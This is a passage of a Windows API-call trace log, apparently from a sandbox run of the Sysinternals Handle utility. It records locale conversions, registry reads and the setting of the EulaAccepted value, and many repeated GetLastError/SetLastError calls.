!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0084.174] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0084.174] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0084.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x12f9c0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", lpUsedDefaultChar=0x0) returned 256 [0084.174] GetLastError () returned 0x0 [0084.174] SetLastError (dwErrCode=0x0) [0084.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0084.174] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x12f8c0, cbMultiByte=256, lpWideCharStr=0x12f590, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0084.174] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0084.174] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x12f380, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0084.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x12fac0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0084.174] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0x100) returned 0x1b12d0 [0084.175] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x140010890) returned 0x0 [0084.175] RtlSizeHeap (HeapHandle=0x190000, Flags=0x0, MemoryPointer=0x1b12d0) returned 0x100 [0084.175] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0084.175] GetProcAddress (hModule=0x76f20000, lpProcName="IsWow64Process") returned 0x76f291d0 [0084.175] GetCurrentProcess () returned 0xffffffffffffffff [0084.175] IsWow64Process (in: hProcess=0xffffffffffffffff, Wow64Process=0x12fef0 | out: Wow64Process=0x12fef0) returned 1 [0084.175] GetLastError () returned 0x0 [0084.175] SetLastError (dwErrCode=0x0) [0084.175] GetLastError () returned 0x0 [0084.175] SetLastError (dwErrCode=0x0) [0084.175] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x0) returned 0x2 [0084.175] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0084.176] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x0, lpcbData=0x12fc48*=0x4) returned 0x2 [0084.176] RegCloseKey (hKey=0x78) returned 0x0 [0084.176] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", ulOptions=0x0, samDesired=0x101, phkResult=0x12fc10 | out: phkResult=0x12fc10*=0x78) returned 0x0 [0084.176] RegQueryValueExW (in: hKey=0x78, lpValueName="EulaAccepted", lpReserved=0x0, lpType=0x0, lpData=0x12fc40, lpcbData=0x12fc48*=0x4 | out: lpType=0x0, lpData=0x12fc40*=0x1, lpcbData=0x12fc48*=0x4) returned 0x0 [0084.176] RegCloseKey (hKey=0x78) returned 0x0 [0084.176] GetLastError () returned 0x0 [0084.176] SetLastError (dwErrCode=0x0) [0084.176] GetLastError () returned 0x0 [0084.176] SetLastError (dwErrCode=0x0) [0084.176] RegCreateKeyW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Sysinternals\\Handle", phkResult=0x12fc38 | out: phkResult=0x12fc38*=0x78) returned 0x0 [0084.176] RegSetValueExW (in: hKey=0x78, lpValueName="EulaAccepted", Reserved=0x0, dwType=0x4, lpData=0x12fc30*=0x1, cbData=0x4 | out: lpData=0x12fc30*=0x1) returned 0x0 [0084.176] RegCloseKey (hKey=0x78) returned 0x0 [0084.176] GetLastError () returned 0x0 [0084.176] SetLastError (dwErrCode=0x0) [0084.177] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x1000) returned 0x1b23f0 [0084.177] GetLastError () returned 0x0 [0084.177] SetLastError (dwErrCode=0x0) [0084.177] GetLastError () returned 0x0 [0084.177] SetLastError (dwErrCode=0x0) [0084.177] GetLastError () returned 0x0 [0084.177] SetLastError (dwErrCode=0x0) [0084.177] GetLastError () returned 0x0 [0084.177] SetLastError (dwErrCode=0x0) [0084.177] GetLastError () returned 0x0 [0084.177] SetLastError (dwErrCode=0x0) [0084.177] GetLastError () returned 0x0 [0084.177] SetLastError (dwErrCode=0x0) [0084.177] GetLastError () returned 0x0 [0084.177] SetLastError (dwErrCode=0x0) [0084.177] GetLastError () returned 0x0 [0084.177] SetLastError (dwErrCode=0x0) [0084.177] GetLastError () returned 0x0 [0084.177] SetLastError (dwErrCode=0x0) [0084.177] GetLastError () returned 0x0 [0084.177] SetLastError (dwErrCode=0x0) [0084.177] GetLastError () returned 0x0 [0084.177] SetLastError (dwErrCode=0x0) [0084.177] GetLastError () returned 0x0 [0084.177] SetLastError (dwErrCode=0x0) [0084.177] GetLastError () returned 0x0 [0084.177] SetLastError (dwErrCode=0x0) [0084.178] GetLastError () returned 0x0 [0084.178] SetLastError (dwErrCode=0x0) [0084.178] GetLastError () returned 0x0 [0084.178] SetLastError (dwErrCode=0x0) [0084.178] GetLastError () returned 0x0 [0084.178] SetLastError (dwErrCode=0x0) [0084.178] GetLastError () returned 0x0 [0084.715] SetLastError (dwErrCode=0x0) [0084.715] GetLastError () returned 0x0 [0084.715] SetLastError (dwErrCode=0x0) [0084.715] GetLastError () returned 0x0 [0084.715] SetLastError (dwErrCode=0x0) [0084.715] GetLastError () returned 0x0 [0084.715] SetLastError (dwErrCode=0x0) [0084.715] GetLastError () returned 0x0 [0084.715] SetLastError (dwErrCode=0x0) [0084.715] GetLastError () returned 0x0 [0084.715] SetLastError (dwErrCode=0x0) [0084.715] GetLastError () returned 0x0 [0084.715] SetLastError (dwErrCode=0x0) [0084.715] GetLastError () returned 0x0 [0084.715] SetLastError (dwErrCode=0x0) [0084.715] GetLastError () returned 0x0 [0084.715] SetLastError (dwErrCode=0x0) [0084.715] GetLastError () returned 0x0 [0084.715] SetLastError (dwErrCode=0x0) [0084.715] GetLastError () returned 0x0 [0084.715] SetLastError (dwErrCode=0x0) [0084.715] GetLastError () returned 0x0 [0084.716] SetLastError (dwErrCode=0x0) [0084.716] GetLastError () returned 0x0 [0084.716] SetLastError (dwErrCode=0x0) [0084.716] GetLastError () returned 0x0 [0084.716] SetLastError (dwErrCode=0x0) [0084.716] GetLastError () returned 0x0 [0084.716] SetLastError (dwErrCode=0x0) [0084.716] GetLastError () returned 0x0 [0084.716] SetLastError (dwErrCode=0x0) [0084.716] GetLastError () returned 0x0 [0084.716] SetLastError (dwErrCode=0x0) [0084.716] GetLastError () returned 0x0 [0084.716] SetLastError (dwErrCode=0x0) [0084.716] GetLastError () returned 0x0 [0084.716] SetLastError (dwErrCode=0x0) [0084.716] GetLastError () returned 0x0 [0084.716] SetLastError (dwErrCode=0x0) [0084.716] GetLastError () returned 0x0 [0084.716] SetLastError (dwErrCode=0x0) [0084.716] GetLastError () returned 0x0 [0084.716] SetLastError (dwErrCode=0x0) [0084.716] GetLastError () returned 0x0 [0084.716] SetLastError (dwErrCode=0x0) [0084.716] GetLastError () returned 0x0 [0084.716] SetLastError (dwErrCode=0x0) [0084.716] GetLastError () returned 0x0 [0084.716] SetLastError (dwErrCode=0x0) [0084.716] GetLastError () returned 0x0 [0084.716] SetLastError (dwErrCode=0x0) [0084.716] GetLastError () returned 0x0 [0084.716] SetLastError (dwErrCode=0x0) [0084.716] GetLastError () returned 0x0 [0084.716] SetLastError (dwErrCode=0x0) [0084.717] GetLastError () returned 0x0 [0084.717] SetLastError (dwErrCode=0x0) [0084.717] GetLastError () returned 0x0 [0084.717] SetLastError (dwErrCode=0x0) [0084.717] GetLastError () returned 0x0 [0084.717] SetLastError (dwErrCode=0x0) [0084.717] GetLastError () returned 0x0 [0084.717] SetLastError (dwErrCode=0x0) [0084.717] GetLastError () returned 0x0 [0084.717] SetLastError (dwErrCode=0x0) [0084.717] GetLastError () returned 0x0 [0084.717] SetLastError (dwErrCode=0x0) [0084.717] GetLastError () returned 0x0 [0084.717] SetLastError (dwErrCode=0x0) [0084.717] GetLastError () returned 0x0 [0084.717] SetLastError (dwErrCode=0x0) [0084.717] GetLastError () returned 0x0 [0084.717] SetLastError (dwErrCode=0x0) [0084.717] GetLastError () returned 0x0 [0084.717] SetLastError (dwErrCode=0x0) [0084.717] GetLastError () returned 0x0 [0084.717] SetLastError (dwErrCode=0x0) [0084.717] GetLastError () returned 0x0 [0084.717] SetLastError (dwErrCode=0x0) [0084.717] GetLastError () returned 0x0 [0084.717] SetLastError (dwErrCode=0x0) [0084.717] GetLastError () returned 0x0 [0084.717] SetLastError (dwErrCode=0x0) [0084.717] GetLastError () returned 0x0 [0084.717] SetLastError (dwErrCode=0x0) [0084.717] GetLastError () returned 0x0 [0084.717] SetLastError (dwErrCode=0x0) [0084.717] GetLastError () returned 0x0 [0084.718] SetLastError (dwErrCode=0x0) [0084.718] GetLastError () returned 0x0 [0084.718] SetLastError (dwErrCode=0x0) [0084.718] GetLastError () returned 0x0 [0084.718] SetLastError (dwErrCode=0x0) [0084.718] GetLastError () returned 0x0 [0084.718] SetLastError (dwErrCode=0x0) [0084.718] GetLastError () returned 0x0 [0084.718] SetLastError (dwErrCode=0x0) [0084.718] GetLastError () returned 0x0 [0084.718] SetLastError (dwErrCode=0x0) [0084.718] GetLastError () returned 0x0 [0084.718] SetLastError (dwErrCode=0x0) [0084.718] GetLastError () returned 0x0 [0084.718] SetLastError (dwErrCode=0x0) [0084.718] GetLastError () returned 0x0 [0084.718] SetLastError (dwErrCode=0x0) [0084.718] GetLastError () returned 0x0 [0084.718] SetLastError (dwErrCode=0x0) [0084.718] GetLastError () returned 0x0 [0084.718] SetLastError (dwErrCode=0x0) [0084.718] GetLastError () returned 0x0 [0084.718] SetLastError (dwErrCode=0x0) [0084.718] GetLastError () returned 0x0 [0084.718] SetLastError (dwErrCode=0x0) [0084.718] GetLastError () returned 0x0 [0084.718] SetLastError (dwErrCode=0x0) [0084.718] GetLastError () returned 0x0 [0084.718] SetLastError (dwErrCode=0x0) [0084.718] GetLastError () returned 0x0 [0084.718] SetLastError (dwErrCode=0x0) [0084.718] GetLastError () returned 0x0 [0084.718] SetLastError (dwErrCode=0x0) [0084.718] GetLastError () returned 0x0 [0084.719] SetLastError (dwErrCode=0x0) [0084.719] GetLastError () returned 0x0 [0084.719] SetLastError (dwErrCode=0x0) [0084.719] GetLastError () returned 0x0 [0084.719] SetLastError (dwErrCode=0x0) [0084.719] GetLastError () returned 0x0 [0084.719] SetLastError (dwErrCode=0x0) [0084.719] GetLastError () returned 0x0 [0084.719] SetLastError (dwErrCode=0x0) [0084.719] GetLastError () returned 0x0 [0084.719] SetLastError (dwErrCode=0x0) [0084.719] GetLastError () returned 0x0 [0084.719] SetLastError (dwErrCode=0x0) [0084.719] GetLastError () returned 0x0 [0084.719] SetLastError (dwErrCode=0x0) [0084.719] GetLastError () returned 0x0 [0084.719] SetLastError (dwErrCode=0x0) [0084.719] GetLastError () returned 0x0 [0084.719] SetLastError (dwErrCode=0x0) [0084.719] GetLastError () returned 0x0 [0084.719] SetLastError (dwErrCode=0x0) [0084.719] GetLastError () returned 0x0 [0084.719] SetLastError (dwErrCode=0x0) [0084.719] GetLastError () returned 0x0 [0084.719] SetLastError (dwErrCode=0x0) [0084.719] GetLastError () returned 0x0 [0084.719] SetLastError (dwErrCode=0x0) [0084.719] GetLastError () returned 0x0 [0084.719] SetLastError (dwErrCode=0x0) [0084.719] GetLastError () returned 0x0 [0084.719] SetLastError (dwErrCode=0x0) [0084.719] GetLastError () returned 0x0 [0084.719] SetLastError (dwErrCode=0x0) [0084.720] GetLastError () returned 0x0 [0084.720] SetLastError (dwErrCode=0x0) [0084.720] GetLastError () returned 0x0 [0084.720] SetLastError (dwErrCode=0x0) [0084.720] GetLastError () returned 0x0 [0084.720] SetLastError (dwErrCode=0x0) [0084.720] GetLastError () returned 0x0 [0084.720] SetLastError (dwErrCode=0x0) [0084.720] GetLastError () returned 0x0 [0084.720] SetLastError (dwErrCode=0x0) [0084.720] GetLastError () returned 0x0 [0084.720] SetLastError (dwErrCode=0x0) [0084.720] GetLastError () returned 0x0 [0084.720] SetLastError (dwErrCode=0x0) [0084.720] GetLastError () returned 0x0 [0084.720] SetLastError (dwErrCode=0x0) [0084.720] GetLastError () returned 0x0 [0084.720] SetLastError (dwErrCode=0x0) [0084.720] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0084.720] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x65, lpOverlapped=0x0) returned 1 [0084.722] GetLastError () returned 0x0 [0084.722] SetLastError (dwErrCode=0x0) [0084.722] GetLastError () returned 0x0 [0084.722] SetLastError (dwErrCode=0x0) [0084.722] GetLastError () returned 0x0 [0084.722] SetLastError (dwErrCode=0x0) [0084.722] GetLastError () returned 0x0 [0084.722] SetLastError (dwErrCode=0x0) [0084.722] GetLastError () returned 0x0 [0084.722] SetLastError (dwErrCode=0x0) [0084.722] GetLastError () returned 0x0 [0084.722] SetLastError (dwErrCode=0x0) [0084.722] GetLastError () returned 0x0 [0084.722] SetLastError (dwErrCode=0x0) [0084.722] GetLastError () returned 0x0 [0084.723] SetLastError (dwErrCode=0x0) [0084.723] GetLastError () returned 0x0 [0084.723] SetLastError (dwErrCode=0x0) [0084.723] GetLastError () returned 0x0 [0084.723] SetLastError (dwErrCode=0x0) [0084.723] GetLastError () returned 0x0 [0084.723] SetLastError (dwErrCode=0x0) [0084.723] GetLastError () returned 0x0 [0084.723] SetLastError (dwErrCode=0x0) [0084.723] GetLastError () returned 0x0 [0084.723] SetLastError (dwErrCode=0x0) [0084.723] GetLastError () returned 0x0 [0084.723] SetLastError (dwErrCode=0x0) [0084.723] GetLastError () returned 0x0 [0084.723] SetLastError (dwErrCode=0x0) [0084.723] GetLastError () returned 0x0 [0084.723] SetLastError (dwErrCode=0x0) [0084.723] GetLastError () returned 0x0 [0084.723] SetLastError (dwErrCode=0x0) [0084.723] GetLastError () returned 0x0 [0084.723] SetLastError (dwErrCode=0x0) [0084.723] GetLastError () returned 0x0 [0084.723] SetLastError (dwErrCode=0x0) [0084.723] GetLastError () returned 0x0 [0084.723] SetLastError (dwErrCode=0x0) [0084.723] GetLastError () returned 0x0 [0084.723] SetLastError (dwErrCode=0x0) [0084.723] GetLastError () returned 0x0 [0084.723] SetLastError (dwErrCode=0x0) [0084.723] GetLastError () returned 0x0 [0084.723] SetLastError (dwErrCode=0x0) [0084.723] GetLastError () returned 0x0 [0084.723] SetLastError (dwErrCode=0x0) [0084.723] GetLastError () returned 0x0 [0084.724] SetLastError (dwErrCode=0x0) [0084.724] GetLastError () returned 0x0 [0084.724] SetLastError (dwErrCode=0x0) [0084.724] GetLastError () returned 0x0 [0084.724] SetLastError (dwErrCode=0x0) [0084.724] GetLastError () returned 0x0 [0084.724] SetLastError (dwErrCode=0x0) [0084.724] GetLastError () returned 0x0 [0084.724] SetLastError (dwErrCode=0x0) [0084.724] GetLastError () returned 0x0 [0084.724] SetLastError (dwErrCode=0x0) [0084.724] GetLastError () returned 0x0 [0084.724] SetLastError (dwErrCode=0x0) [0084.724] GetLastError () returned 0x0 [0084.724] SetLastError (dwErrCode=0x0) [0084.724] GetLastError () returned 0x0 [0084.724] SetLastError (dwErrCode=0x0) [0084.724] GetLastError () returned 0x0 [0084.724] SetLastError (dwErrCode=0x0) [0084.724] GetLastError () returned 0x0 [0084.724] SetLastError (dwErrCode=0x0) [0084.724] GetLastError () returned 0x0 [0084.724] SetLastError (dwErrCode=0x0) [0084.724] GetLastError () returned 0x0 [0084.724] SetLastError (dwErrCode=0x0) [0084.724] GetLastError () returned 0x0 [0084.724] SetLastError (dwErrCode=0x0) [0084.724] GetLastError () returned 0x0 [0084.724] SetLastError (dwErrCode=0x0) [0084.724] GetLastError () returned 0x0 [0084.725] SetLastError (dwErrCode=0x0) [0084.725] GetLastError () returned 0x0 [0084.725] SetLastError (dwErrCode=0x0) [0084.725] GetLastError () returned 0x0 [0084.725] SetLastError (dwErrCode=0x0) [0084.725] GetLastError () returned 0x0 [0084.725] SetLastError (dwErrCode=0x0) [0084.725] GetLastError () returned 0x0 [0084.725] SetLastError (dwErrCode=0x0) [0084.725] GetLastError () returned 0x0 [0084.725] SetLastError (dwErrCode=0x0) [0084.725] GetLastError () returned 0x0 [0084.725] SetLastError (dwErrCode=0x0) [0084.725] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0084.725] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x2c, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x2c, lpOverlapped=0x0) returned 1 [0084.727] GetLastError () returned 0x0 [0084.727] SetLastError (dwErrCode=0x0) [0084.727] GetLastError () returned 0x0 [0084.727] SetLastError (dwErrCode=0x0) [0084.727] GetLastError () returned 0x0 [0084.727] SetLastError (dwErrCode=0x0) [0084.727] GetLastError () returned 0x0 [0084.727] SetLastError (dwErrCode=0x0) [0084.727] GetLastError () returned 0x0 [0084.727] SetLastError (dwErrCode=0x0) [0084.727] GetLastError () returned 0x0 [0084.727] SetLastError (dwErrCode=0x0) 